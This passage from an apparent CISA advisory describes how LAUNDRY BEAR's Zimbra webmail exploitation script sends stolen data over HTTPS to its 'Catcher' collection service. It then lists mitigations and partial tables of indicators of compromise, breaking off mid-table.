  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
